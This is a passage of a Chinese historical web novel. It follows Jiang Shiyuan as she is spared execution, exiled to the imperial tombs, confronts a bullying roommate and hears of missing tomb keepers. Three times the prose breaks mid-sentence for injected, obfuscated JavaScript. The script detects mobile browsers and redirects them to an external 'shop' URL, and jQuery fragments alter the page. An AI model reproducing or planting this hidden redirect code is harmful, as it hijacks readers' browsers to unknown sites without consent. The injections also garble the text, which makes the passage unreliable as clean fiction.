也得益于此刻的冷静,姜时愿想清了许多,听林清曾言谢循接手姜家之案不过三日,就急于草草结案又联想到袁黎提过谢循身边的莺莺燕燕实为耳目,莫不是.... 谢循早已知晓幕后真凶! “此案疑点重重,你却置之不顾,着急结案!”姜时愿抬眸,肯定心中的猜测:“告诉我,你到底是想包庇谁!” 谢循对上女子清丽的眉目, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053442|149083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸色晦暗难辨,似笑非笑,听着她怒不可遏地猜测他身后的权贵,楚王、礼王、长公主、丞相、御史大夫还是当今圣人.... 司使立马大力压之,逼她臣服,将她高悬的头颅死死按住,呵斥道闭嘴,姜时愿紧咬着嘴唇,血腥之气在口腔中蔓延,可惜她口齿太过于清楚了,即便被粗鲁地塞着白布,司使都能听得到她口中的咒骂。 她恨谢循,恨他徇私舞弊,不查冤假,反成奸佞同僚,恨不得杀了他,可是她势单力薄,人微言轻,如今他手下之人一个抬手就压得翻不了身。 司使心系林左使,“此女至今没有交出解药,我担心左使挺不过去....” “毒,带不入地牢。既然不是毒,就留他自生自灭。”谢循垂眼,提步离开,最后一语留给姜时愿,“娘子出手未免太轻,下次切莫心慈手软。” 谢循高耸在她眼前,可望不可及,她极力伸手去抓他的衣裾,仍差之分毫。她嘶哑着,宣泄着,诅咒着:“谢循,徇私舞弊、不察冤假,你定不等好死!” 直至他的身影全部融于黑暗之中,空悬的手才缓缓放下..... 话音甫落,秉笔的声音越过层层青铜门:“国公有令,林清色心难改,死罪可免,活罪难逃,当庭重罚百仗!并提醒诸位,漂亮的娘子可都带着刺呢。” — 夜幕降下,果虫阴祟之物出洞游走。 姜时愿被押入典狱,独一间的单牢。 她笑得发冷,好大的殊荣。 寒意席卷着她,她静静地靠在石之上,想着谢循会怎么处置姜家仅存的血脉,也就是她?莫不过就是斩草除根,死法不同罢了,是派人递来鹤顶红、白绫、还是一把匕首? 无论是哪种死法,她都不怕。 如今姜府上下百口的性命盛老已发誓会替她保住,她已了无牵挂了,要说死后唯一不能瞑目就是不能替兄长、姜家沉冤得雪。 被冻得的骨节隐隐泛白,攥着拳头,若是能留住一命,她发誓,一定会揪出谢循想要包庇之人,手刃所有仇人。 也不知是否是上天听到了她的祈愿。 三日后。 刑官端着木盘赶到典狱,木托上毫无不意外静搁着一尺白绫、匕首还有鹤顶红,算着时辰已到,遂令狱卒打开铁链。 入内,便瞧见,暗牢之中,姜时愿一身素白、烟发披肩,站在铁窗洒落的月华之下,那双冷白的手腕不得刑官开口询问遗志,就横握住了匕首。 看来选择自戕,这种最极为痛楚的死法。 谁都没有说话,就等着那抹红润割开她的脖颈。 就在此时,一位穿着红袍的宦官,高举着敕令,步履匆匆,那声音喘到不行:“刀下留人!” 内侍扶正了自己的乌冠,道:“圣人有旨,庶民姜淳谋害燕王,罪不可赦。姜家之女,姜时愿代兄受过,发配皇陵,沦为贱籍,终身不得入京!” 此话一出,在场的众人面色各异,狱卒大感吃惊,刑官则是神情肃穆,死后余生的姜时愿神色也不见得轻松,若有所思地蹙着柳眉。 姜家案可是圣人特意交由谢循查办的,来的刑官背后是典狱亦是谢循,毫无疑问想要她下黄泉;而赋予谢循职权、又垂衣拱手的圣人此时竟然与谢循意见相悖? 除此之外,如今所有的罪证都对姜家不利,纵使圣人有仁爱之心,即便燕王再多惹陛下厌恶,她也不敢相信圣人会轻易原谅一个企图谋杀皇子的罪臣家眷? 内侍穿着大气,滴滴汗珠下淌,不耐烦地催着姜时愿领旨谢恩,“娘子,这是高兴傻了,还不赶紧叩首谢圣人的恩典?” “罪民,姜时愿叩谢陛下隆恩。” 听了此言,姜时愿双手交叠,跪地行着九叩大礼,无论如何,能活着就是最好的出路。唯有活着,才能查出真凶、手刃罗刹,为姜家昭雪! 4. 04 四月已近末尾,芬芳将尽。 离了关押她多日的地牢,日沐和春风为她渡来第一层‘重生’,姜时愿深深屏气想让这温润的味道长久留住,完全忽略双腕上沉重枷锁所累。 她站在子午关前,最后回望一眼,遥望着陌生又熟悉的汴京,想至生辰宴时名门望族、簪缨世族几乎踏破姜府门楣,如今姜府没落,竟然无一人敢来相送。 高门没落,足见人心,她已清晰见识到了人们的趋炎附势、踩高捧低,姜时愿一步步走向关外,别样劝解自己,这样也好,至少可以无牵无挂地离开生养二十载的汴京。 倏然此时,一妇人声格外突兀。 “官爷们,可否行个方便让我送让姜娘子一程,我乃良民,包裹里也只是一些自家揉的干粮,好让娘子路上别饿着肚子。”倏尔有道克制的声音传出,她望向黑祟的城关口,一位老妪肩下拄着拐,将手中层层碎布摊开,裸.露几张半焦黄的馍。 这甲胄们黑着脸,拿着银戟脚交叠驱赶,老妪赤红着脸慌乱解释,急得就差把馍撕成两半,可官爷都是铁面无情之人,非但油盐不进,还一足皂鞋将馍饼撵了稀碎,气得老妪楷袖擦泪,朝着官外大唤姜小姐,试图引起前人的回首。 姜时愿当即认出了前来送她的老妪,曾是在大雪之中有过一面之的李婆子。 当年二月大雪,汴京百里冰霜,姜时愿出府赴上世贵小姐们的邀约同游上元灯节,途径甜水巷,恰巧垂眼看见一位老妇缩在竹竿牵起的烂布下,身影约莫臃肿,胸前布料撑起一尺凸,满目疮痍的双掌牢牢护着,瑟瑟取暖。 心觉讶然,走近瞧得仔细了,才发觉颓起的烂布中露出一小截的墨发,怀中的孩面色赤红,两颊生血,气虚无力,当即判断乃是高热之症。当即喊侍女去药铺抓了几贴药,又将自己的狐裘罩住孩童,一应留下的还有些钱粮。 不过是滴水之恩,对姜府亦或者她来说都是举手之劳,没想到李婆子记了一辈子。 姜家风光之时,李婆也自惭身份低贱,家中亦没能拿得出手的东西,不敢前来叨扰,如今豪门望族一蹶不振、甚至没落,她唯一能拿得出手的也不过还是几个不值钱的馍。 李婆子急得大唤,粗粝的手欲穿过重重兵甲递来馍饼,“姜娘子,这些官爷拦着我,过不去,你可否走过来?” 李婆全然不顾她还是戴罪之身,可姜时愿不能不替她考虑,若要与她等罪人扯上联系,会给婆子一家带来灾祸,这饼她是万万接不得的。 姜时愿心中千绪婉转,双手交叠,沉思片刻后,深深弯腰躬身,双手交叠,朝着黑漆的城洞和垂泪的李婆行着从未有过的重礼:“多谢李婆,只是这份礼我不能受。” 以怨报德,总会让人愤红了眼,李婆子相送之情,对她来说便是久违的雨露,是德,她还是愿意在离开之时怀着这份感恩、欣然踏上前路,而不是全然的恨和怨。 所以待她再次抬首时,李婆竟然瞧见姜时愿在笑。 虽然不知她落得流放皇陵的惨境,是如何还能笑得出的?可李婆子当真觉得那温笑称得她美极了,美目盼兮,宛如长养在水榭旁的一树海棠花,天然灵秀。 殊不知此情此景入了另一人的眼。 被人盯着心中总会生出第六感,姜时愿也不例外,微微仰头,恰好与城关上的男子四目相对。他藏在青鬼面具之后的目光,晦暗不明,捉摸不透。 “罗刹....”姜时愿呢喃出声。 眸光短兵相接,温笑戛然而止转为平静寡淡,极力压抑着眸中的讶然,她实在没想到谢循会来送他,忍不住自嘲自己还真是有面。 “国公体恤娘子前往皇陵长路漫漫,艰难崎岖,特备上君山银针【1】,邀娘子前往城楼同饮。”一位内侍垂首到姜时愿身旁,朝着城关上指引。 周围静了又静,姜时愿已开目光,背离汴京而走,嗓音冷淡:“多谢魏国公好意,但我与魏国公谈不上是能心平气和地围坐饮茶的关系,更与国公无话可讲。” 复行数十步,她又疏尔停止了脚步。 姜时愿发白的手骨紧紧攥着衣裙,面上一如往常得体:“罢了,还是替我向国公稍句问候。” 内侍咽了咽:“何话?” 姜时愿远远遥望着城关上模糊的影子,“还望国公身体康健,等着我回京之时。”说罢,她顿了顿,最后半句字字坚韧:“定要等我回京之时,前来索命!” 内侍吓坏了,忙道好大的胆子,接着急着跑上城楼,将姜氏狂妄之词一字不落地回禀给魏国公:“国公一定要严惩姜时愿,她还当自己是姜家小姐呢,说的话句句都在蔑视国公。简直狂妄!无法无天!请国公降罚,命人用针线缝了那女子的嘴。” 谢循淡道:“听起来,你是在教我如何行事?” 内侍急忙跪下,冷汗直流:“奴婢不敢,奴婢只是气姜时愿不把国公放在眼中,情急之下,一时逾矩。” 谢循好似不甚在意姜时愿的犯上,一饮而尽杯中的君山银针,冷扫一眼还在战战兢兢的内侍,冷声吩咐“备好车舆”。 “是。” 谢循撩摆上骄之时还扫了眼守在城关不愿离去的老妪,同时沉闷的面具应声落地。 须臾之后,车内传来一声冷淡的男音:“回典狱。” 谢循进出多少刑牢,审过多少穷途末路之人,可像如姜时愿的仪容、性子甚少有之。 明明这种世家都是被藏在闺中,被教书先生一点点塑造成精美的瓷瓶,不经人事的贵女一磕一碰就易粉身碎骨,可偏偏这位姜家小姐就是如此与众不同,温婉清落的性子之上,满是不屈的傲骨。 向来寡淡冷性的他,方才看到那一双对他满是恨意的明眸时,竟生出来了别样的期待。 是姜家小姐味能给他的惊喜。 女子的声音依旧回彻在耳畔,“还望国公身体康健,等着我回京之时,前来索命!” 索命? 谢循想起姜时愿的离别之语,轻笑一声:“也好,这日子也算是有了盼头,终究不再无趣了。” 此时李婆子恰好肩下拄拐一步步走到车舆面前,风吹起车帷一角,李婆子也不知为何,抬眼觑见半遮在帷幕后一张足极具惊艳且清隽的脸,她揉了揉眼,一时觉得恍惚出神,以为是哪家的世贵小姐。 尤其是那一双眼,美得张扬且清澈,如春雾薄薄扫过湖面,只忘记一眼如坠仙境。 直到听到车内人的声音,李婆子瞬间汗流浃背,竟是个男子! 那一双修长的手伸出轿外,轻叩着。 谢循嗓音暗哑:“若您还能见到姜娘子,记得帮我带句话,有劳娘子日夜牵挂,谢某在典狱等着她。” .... 这次负责押解姜时愿去往皇陵的是京兆府的官吏,官吏一路上垂头叹气,脸上不见半点喜色,止不住埋怨这趟是个苦差。 生于世家的犯人官吏见得多了,这些人从前养尊处优,生来一副散骨头,走两步路就散了,能撑多久也只是时间和路程问题。到时候犯人受不住死了,自己辛辛苦苦,到头来还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053443|149083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罚俸。 可渐渐他发现,此次押解的犯人似乎和以往的落魄子弟不同,这姜家娘子明明生得扶风弱柳像个瓷娃娃般,是个易碎的玩意,原以为定会死在半路上,没想到她竟然撑了下来。 只是这身量已经和离京时无发相比,清瘦不少,几乎是骨头包着皮,可这娘子的眼神一日比一日坚决、狠厉,搞不清到底什么支撑着她。 官吏不知,姜时愿可清楚得很,全靠对谢循那与日俱增的恨意。 皇陵远在溙州,距京城千里,为开国武宗亲选的陵址,前后长达百年,先后修葺十三座陵墓,又称“十三陵”。囚队经过三月跋涉,终于在月末前抵达溙州,这也是官吏第一次完整解开对姜时愿的枷锁,按住她的肩押往皇陵。 为保帝王魂魄不被侵扰,安居于九泉之下,皇陵逐渐形成了一个封闭之所。禁军重甲驻守于山脚下,无召不得入内,而守陵人则会一辈子在山中守着帝王英魂直至病死或老去。唯一能进出皇陵的时机,便唯有每年开春官吏会押解从皇城内打发下来的宫女,亦或者如姜家小姐这般犯错之人,送往山中成为新一批的守陵人。 官吏拿着文牒请为首的禁军过目,首领瞥了一眼姜时愿,照例询问了两三句籍贯何处,所犯何事,判罚为何。见姜时愿的回答与文牒基本无误,遂下令放行,赶着时间吃酒去了。 刚步入青石玉阶,迎风就送来缭绕的雾气还有藏在林间的花香鸟鸣,飘飘缈缈,宛若仙境。 可这‘仙境’却让姜时愿十分不喜,四面环山,意味地势复杂,也看不到山外禁军布放,不利于逃出,实为守陵人一生无法逃离的牢笼。 可能是由于她丝毫不掩饰对皇陵的打量,下一瞬,眼前漆黑,被人裹上黑布,一路被人用绳索指引上行下走,也不知走了多远。 倏然,突如起来的强光刺痛着双眸,她不适应地阖上双眸,一个浑然陌生的女音此刻在她面前响了起来。 “入了皇陵,从此便抛去姓氏,沦为守陵人。” “娘子好运,可以多活几时,至于能活多久,就看你的造化了。” 这话是什么意思?难道她的性命还是一半压在鬼门关里? 姜时愿手背遮去烈阳,忍着刺痛睁开一只眼,那位妇人看着年岁四十,腰怪绶带,双手持着戒尺,腰身直挺,一板一眼的模样不禁让她幼时教她女学的教书嬷嬷,也是如此,管教极其严厉。她一半的得体、贵女之风,都是嬷嬷手心中的戒尺,一下一下教出来的,那是姜时愿第二怕之人。 如今,站在面前虽是个复刻版,也足以令她生畏。 浓淡不一的雾气飘荡开来,崔梅向她走来,朝着官吏行礼道谢。而后戒尺一挑松开了姜时愿手上的麻绳。 来时,她就从官吏口中打听过,皇陵之中有位总管守陵人的嬷嬷,原是圣人安妃宫中的奉衣宫女,风光无限,可不知犯了何事,被发配在此处。 看来,就是眼前的崔梅,她身上历经世事的干练、精明可遮不住。 崔梅领她水庭走去,姜时愿立马逶迤在后,就在般一前一后走着,其中,姜时愿忍不住开口问道:“嬷嬷口中,能活几时是什么意思,还望指点迷津。” “你当这是什么地方?这里可是皇陵,历代圣人安息之地。”崔梅向左拐至水曲,反问到:“你觉得何为守陵人?” “守陵亦为守灵,圣人长辞之后,也需有千百内侍与宫女跟着下九泉伺候。” “这种说法,也叫陪葬。” 【1】一种名贵的茶,雅号金镶玉 5. 05 话点到这里姜时愿便也懂了,难怪皇陵之内的守陵人要么是从皇城内来的宫女,要么就是如姜时愿一样出身于望族,原是需要二者殉葬彰显皇室威严。 这也就是解释了为什么崔嬷嬷说,她能有幸活着,又活不了几时。 所以说,圣人从未想过要留她一命,不过是暂且放缓她的死期罢了... 崔梅已经见惯了刚来皇陵就哭天喊地、胡搅蛮缠地闹着回去的,还是头次见到如姜时愿般不吭一声的,于是满意点头,继续说道: “你初来皇陵定有许多不解,皇陵分四方,一条天路贯穿四陵,也是进出的唯一之路。东为常陵,西为定陵,北为朝陵,也是守陵人每日需要清扫之地。” 少府掌皇宫建筑事务,极重工整,怎会唯独不建南陵,姜时愿心起疑窦,问道:“没有南陵吗?” “没有,南方曾起陵墓,但星宿司说风水不佳,遂一直荒废在此,现年久失修,早已破败,于是封了南陵,任何人不能进出。” 崔梅继续说道:“皇陵不比皇城森严,礼俗繁多,但也有规矩,你可得仔细听好。卯时起身听训,辰时事中定省,巳时至申时清扫皇陵,一更安寝后不得外出。” 除此之外,崔梅还另讲了一些规矩,如不许吃饱、不能食鱼,睡时不许仰面朝天,姜时愿一一铭记在心。 崔梅见她是个安分守己的,也没再说什么重话。提着衣裙,走下斜坡,弯弯绕绕了许多路。途径小道时碰巧被杂生的松竹刮去了腰带上的香囊,逶迤在后的姜时愿默默拾起正欲还给崔梅,可她已经远走在默心斋前,在三里外等着。 等着姜时愿刚跟上,崔梅径直推开门扉,扬声道:“从今往后你便住在这里,六人一通铺,最后多言一句,在皇陵切不可多生事端。” 随之一股饭香随之从阁中透出来,围坐在木桌前的女子齐齐地起了身,瞬间那轻微的啜泣声也止住了,取而代之的是最先迎出来的叶婵惊呼出口:“嬷嬷,你怎么来了?”叶婵故作惊喜,可足靴悄悄地踢了一脚后面。 天色已晚,屋内的女子们神色难辨,姜时愿眼光一扫,正如崔梅所说,加上她正好是六人一屋,除了为首的叶婵仰着头,其他皆是垂默不语,头低低的。 崔梅:“不巧赶上你们用膳,这位是新来的守陵人时愿,以后就与你们同住在默心斋,定要好生相处,不要给我生事。” “自是自然,大家都是姐妹。” 话音甫落,叶婵就挽着姜时愿的手,热情地介绍起来,“我名为叶婵,曾在辰妃宫中当差,身后的两位姐妹是从磬美人宫中来的柳儿和竺儿,穿着蓝袄的是曾在六尚织造的青黛。” 这份突然的热络让姜时愿有些难以应付,可崔梅眼中却透出赞许之意,紧接着叶婵又指着藏在角落的弓着身子的女子说:“这位从辛者库打发来的三七。 三七头埋得最低,姜时愿朝她问安,她头埋得愈发低了。靠近三七的一瞬,她闻到一股清淡的草药香。 叶婵又接着询问姜时愿:“姐姐长得水灵,应该也是哪位贵人宫中出来的吧。” 姜时愿摇头,看向崔梅,彼此交换了一下眼神。她忽然想起崔嬷嬷的提点,“入皇陵者需安分守己,抛去姓氏”,这话是什么意思,她再清楚不过,她的姜姓乃是四大世家之一,这样的贵姓只会在皇陵中挑起不必要的祸根。 她扯了个谎:“我名为时愿,同样来自辛者库。” 叶婵长噢了一声,略有深意。 “好了,你们继续用膳吧,时愿刚来,好好帮衬着。”崔梅说完转身离开。 而姜时愿喊住了嬷嬷,在众人的眼前,将拾到的香囊交给崔梅,笑了笑,并没有说些什么。崔梅也默言地接下,系在腰带上,转身走了。 嬷嬷都走得没影了,叶婵挥举的手才放下。 叶婵降下笑容,双门将大门一关,一屁股坐在木凳,自顾动起筷子,而后扫了一眼屋内之人,说道:“老规矩。” “什么规矩?”姜时愿的疑问马上就被,身后四人的行动解答,柳儿和竺儿分别锤、揉着她的左膝及右肩,青黛在替她盛饭舀汤。而三七低声啜泣着,拿着一个白巾跪在地上擦拭起来,结果又被叶婵嫌弃擦得不干净,直接上脚踩住五指。 好明确的等级划分,吃个饭还要三人在旁伺候,这么大的阵仗,就连自小锦衣玉食的姜时愿都吃了一惊。 叶婵终于抬眼扫了一眼姜时愿,放下手中的鸡腿骨:“噢,新来的,不懂我们这的规矩,这样吧,我也给你找个事情做做。”叶婵轻蔑地指向案几上的竹篓,语气蛮横:“我寝衣窄袖处破了个口子,你去缝好,需要的针线和钳子、剪子都在篓子里。” “那我还有饭吃吗?”姜时愿问。 叶婵翘着腿:“柳儿三人向来都是吃我剩下的,而你和三七没有饭吃,若晚上饿极了,可以效仿武将食冰充饥,饿一顿又不会死的。” 姜时愿眼眸黑亮,唇角一勾,荡漾着笑意,一笑便会让人觉得此女颇为乖顺、温和,是个听话的人,叶婵也就没当回事。 谁知下一瞬,姜时愿径直与她坐在一条长凳,不顾她诧异的目光,还令摆好四副碗筷招呼着其余人趁热吃,而后才顾上叶婵:“民已食为天,不吃饭对身体不利。” 柳儿三人大气都不敢喘怎么第一天刚来就得罪贵人宫中的,叶婵眼珠子都突出来了:“你个从辛者库来的,知道自己宫籍几品吗,凭什么和老子平起平坐啊!” 姜时愿淡淡一语:“凭我们以后要长久葬在一处,自然是要和睦相处。” 当真是被她的外貌给骗了!竟然来了个刺头! “贱人!高低贵贱都被你忘得一干二净。”叶婵径直站起身子,抬手欲给她一巴掌,姜时愿反擒住叶婵的皓腕,三七赶忙上前劝架,扯着她的衣襟,语气畏畏道:“叶婵姐姐可是辰妃宫中的呢,得罪了她,万一哪天辰妃念及了她,调她回宫,准没有你好果子吃。” 叶婵威胁道:“听到了吗,还不撒开!” “松开可以。”姜时愿嗓音依旧温婉:“可身体发肤受之父母,我这脸,你可打不得。” “老子说打得就打得。”叶婵都不知道一个辛者库出来的,无身家、无背景、怎么敢跟她唱反调。 “你可不敢打。”姜时愿按住她的手腕,“别忘了,我可是崔嬷嬷亲自领过来的。” 一提崔梅,叶婵嚣张地气焰瞬间就焉了,又红着眼看到:“这又如何,虽不是崔嬷嬷亲自领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053444|149083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的?你又不沾亲带故的,我怕什么?” 揉肩的柳儿立马反应过来,“叶婵姐姐,她不一样!你忘了嬷嬷当着咱们的面收下她送的香囊呢,她说不准真是嬷嬷的人,咱不好得罪。” 竺儿也跟着想起来:“咱三儿不也贿赂过嬷嬷,可嬷嬷为人清正,不都一一拒绝了吗?可唯独收下了她的香囊,还当着面亲自系在腰上,我们得罪了她,就是得罪嬷嬷!” 叶婵脑中过了一瞬,好似是这么个理,她要不是崔梅的人,崔梅不可能不避嫌,当面刻意系挂香囊就是在点她们,这姜时愿是她罩着的人。 姜时愿见叶婵彻底没声了,招呼其余人赶紧坐下吃饭,就连一下战战兢兢的三七也头次坐上了桌,眼神飘忽,似乎还有些没回过神来。 叶婵脸黑得发紫,一碗筷甩了下去,便离开了。 待她走后,三七轻轻在姜时愿耳旁道了句“谢谢”,极其轻微,又小声说道:“时愿姐姐真的是崔嬷嬷的人吗?谎言如纸,是包不住火的,叶婵不是好惹的主,要是日后被发现了...” 姜时愿一怔,没想到三七虽然生性胆小,但心细如发,发觉出了端疑。 没错,她撒谎了,她并非崔梅的人。 但说谎也是不得已而为之。 入默心斋时,姜时愿闻到三七身上的一股药味,再想到进门前曾听到的啜泣声,在那时她已经隐约猜到了屋内发生了何事,再从三闪躲害怕的目光进一步锁定了叶婵。 接下来当着众人的面叫住嬷嬷,还给她掉落的香囊,就是为了想要接崔梅在皇陵中的威严防患于未然,没想到还真的用上了。而姜时愿故意不吭一声归还香囊,就是为了欲盖弥彰,故意让叶婵三人遐想猜测她和嬷嬷关系匪浅。 果然后续的一切都如她所料。 这一顿晚膳吃得实在香,久违的饭饱。 酒足饭饱后,姜时愿躺在通铺上,虽然这铺子不比姜府柔软金贵,但也是她这几月里睡过最好的,她翻了个身,心念道总算能睡个好觉了。 可惜她向来觉浅,虽然那个声音已经几近轻微,但她还是被吵醒了,揉开一人,屋内留人其中一铺子空空如也。 姜时愿批了一件外衫,走出默心斋,看见一个人影慌乱躲在樟树之后。 幽幽叹了口气,温声道:“四面环山,深夜摸黑可不好走。侥幸天亮被人发现前逃出皇陵,仅凭一人有如何能应付守在外面成千上万的禁军。” 躲在树后的人明显被说动了,低声哭泣:“那我该怎么办?我不能留在这里,我必须今晚就得离开这鬼地方。” “我想出皇陵的心与你一样。”姜时愿垂下眼帘,攥紧衣裙,“但冲动行事,对我们没有好处。” 人影从树后现身,苍白无力的五指死死扣着树皮,留下三指血印。 两行泪珠挂在三七的脸上,尤为清亮。 姜时愿懂她心中的怖,柔声道:“圣人如今正值壮年,身体康健,我们暂时不用陪葬,不用害怕。” 三七摇着头,泪意不止:“不,姐姐,你不知道。” “你不知道,皇陵有多可怕!它就是个吃人不吐骨头的烈狱,必须尽快离开此地,不然我们都会无缘无故地消失在这!” 6. 06 姜时愿:“此话何解?” 三七缩着身子,止不住地发抖,姜时愿将外衫披在她的肩上,轻握着她的臂膀,许是久违地接触带来的温暖,让三七渐渐地没有先前颤了。 她弱弱出口:“这里每三个月就会有大批跟你我一样的守陵人失踪,了无踪迹,就跟人间蒸发了一样,活不见人,死不见尸。” “是逃走了吗?” “不是,是莫名其妙地消失。” 眼见姜时愿皱了下眉头,三七急得双眸通红:“我没你骗你!与我一起皇陵的沈娘子和妙娘子都消失不见了。我见不对,还去禀告了崔嬷嬷,可崔嬷嬷说许是她们逃出去皇陵了,不必管她们。” “可我知道她们不会的!沈娘子和妙娘子胆子小,不敢逃跑的。可崔嬷嬷不信我,我只能自己去寻遍一片片的竹林,可连尸骨都没找到。” “时愿姐姐,你说下一个会不会就轮到我了。” 三七抬着双眸望向她,姜时愿拍着她的肩,先哄着让她早些安息不要瞎想,而自己则是若有所思,提着手中的灯笼试图照亮着身前漆黑深邃的皇陵,寒风冷冷划过,竹叶簌簌作响。 深不见底,当真可怖,宛若沉睡的猛兽。 三七说的话,她不得不放在心上,若是真的,她不禁寒颤是谁有着弥天的胆子敢在皇陵生事?远处的密林在静谧之中似有暗潮涌动,如一头沉睡的凶兽伺机而动。 “姐姐,你在想什么?”三七轻声发问。 姜时愿吹灭了手中的灯笼,问道:“你相信我吗?我能带你出皇陵,我们会一起逃出这个鬼地方,前提是你要助我。” 三七惊喜:“我一定听你的,但...你真的有办法么?” 姜时愿歪着头,微微一笑:“没准呢?多思无异,早些休息吧。” 三七捏着衣裙的料子,心里生出几分愧疚,明明大家同为女子,时愿看着比自己身形还要纤薄,可她偏瞧不出任何绵柔、软弱,新来第一天皇陵不哭不闹,还生出清冷隐忍,不像自己只会哭鼻子。 思及此,她也不好意思再哭哭啼啼了,抹了眼泪。 睡前,三七怀着好奇问道。 “姐姐,你为何要逃出皇陵,莫不是有人在外面等着你?” 姜时愿仰头赏着满天繁星,璀璨盛景前不知不觉一点点浮现出那张令人生怖的‘青面獠牙’面具,翻了个身,闭上眼睛,安抚着刹那的心悸,道:“是啊,有个男子在等我,我也希望...他在等着我。” 等着她回京复仇... 三七枕在头下,似嗅到爱情话本子般兴奋,料定姜时愿心心念念是在远方等着她的情郎:“他一定是你很重要的人吧,出去以后,你会跟他成婚么!” 这话差点没噎死姜时愿,她不再聊这事,草草以一句“你不想知道后续”结尾。 结婚,怎么可能? 那后续过于血腥、残忍,不太适合睡前听。 姜时愿花了三个月慢慢熟悉这个陌生的皇陵,每日按着嬷嬷定的规矩按部就班地活着,卯时起身听训,辰时事中定省,巳时至申时清扫皇陵,日子过得枯燥泛味,但也难得清闲安然。 唯一能让姜时愿欣喜的是,在皇陵她能接触到各种奇珍异草,拿其入药。 她自小就向往草药之道,恨不得天天泡在医阁中读遍古籍,奈何大庆对女子德及行要求极为苛刻,像医术需女子抛头露面、需要精通人体各部,免不得要揭开男女之间最后一层私密。 姜时愿崇尚医学想得开,但兄长有文人风骨,深受礼乐教化,虽然对她在阁内捯饬草药睁一只眼闭一眼,可若真要当大张旗鼓放她去求学,他也是不肯的。 不止姜淳不愿,放在汴京百姓任何一个百姓嘴里,都是不耻的,败坏门楣的罪过! 为保全姜家声誉,姜时愿极力压抑着自己的喜好,纵使途径医阁,也只敢艳羡地瞧上一眼便匆匆离开,回到府中独自专研。她会医术之事,细论下来,也只有兄长和自小长在身边的侍女鸢儿知道,再无第三人。 而眼下原在汴京千里外,识得姜家之女不多,且都关在此处,名风再坏也传不到外面。她倒可以毫无忌惮地解开禁锢释放天性。 所以在闲下来的时候,姜时愿在皇陵各处采集草药,三七也似个小跟班的走哪跟哪,还止不住调侃她,“要是姐姐在这待上一辈子,莫不是要把这个山头也要搬空了?” 姜时愿难得红了脸,微微侧脸。 此举好似是有些可耻,可她手上割菜装篓的动作可不停。 虽和三七保证一定会带她出皇陵,可如何能安然无恙逃出这个鬼地方,姜时愿这几日下来也只想出来了三个对策。 一是趁着黑夜,沿着天路,逃出这里,可要躲过驻守的禁军胜算太小。 二是放弃天路,另寻出路。这也是这三个月她和三七首要的人物,绘制皇陵的舆图,看看是不是别有洞天,眼下,图纸已绘制完了一半,全靠她们二人忙里偷闲一步步丈量出来。 三也是姜时愿最为盼望的,那便是获得圣人的大赦,光明正大地走出皇陵。可这也最难的事情,她该要立下多大的功劳,才能抵下姜家之罪,获得大赦。 目前看来,只有第二条走得通。 三七挖着草药,边挖边询问着姜时愿手中的是什么草药,她一一耐心解答,给她讲授药性和用法,三七歪着头听得一知半解,嘟囔着叹气道:“咋同样是从辛者库出来的,差距就这么大呢,我就啥都不会,除了木工还马马虎虎过得去。” 姜时愿揉着她的烟发,柔和地绽开一个笑容:“不必自哀自怨,你很好,记性好,领悟快,比只会随意发脾气的叶婵强多了,所以你日后也不必怕她。” 三七乖顺地点点头,又问道:“姐姐,那件事情查得怎么样了?” 提及皇陵女子失踪一事,姜时愿遗憾地摇摇头,她唯有对医术有些心得,但对探案一窍不通。 想得正沉的时候,三七低声提醒她‘有人来了’,姜时愿抬眸就看见了趾高气昂的叶婵带着柳儿,三人围住一堵墙,站在她面前。 这阵仗怕是来干架的。 与崔嬷嬷沾亲带故的幌子毕竟是临时扯的,经不起查证,她没指望着能瞒过多久,就是没有料到叶婵迟迟这么久才反应过来,撸着袖子找人准备狠狠教训气焰嚣张的姜时愿。 叶婵:“我就说呢,嬷嬷对咱都是一样的,也没见对你有啥偏颇,而你竟敢厚着脸皮撒谎,要不是今天我斗着胆子问了,至今被你耍得团团转呢!” 要不是顾忌着崔梅,自己怎么可能忍气吞声三月,日日看着姜时愿爬到她的头上,坏她的规矩,还要迁就她。 姜时愿反倒笑了,夸到:“妹妹聪慧。” 不夸还好,一夸柳儿和竺儿都掩袖遮笑,这更是一通辣油浇在叶婵头上,气得就要和姜时愿开干,三七立马护在姜时愿面前,正要替她求饶时,但又念着姜时愿先前说过不必怕她,不知怎么挺直了腰板,“你以为我会怕你吗?” 呵,这崽子自从和姜时愿鬼混在一起后,这胆子是日渐大了。 叶婵气急了,吩咐柳儿按住三七,又喊竺儿钳制住姜时愿,自己则是撸起袖子瞄准三七白嫩的脸庞。 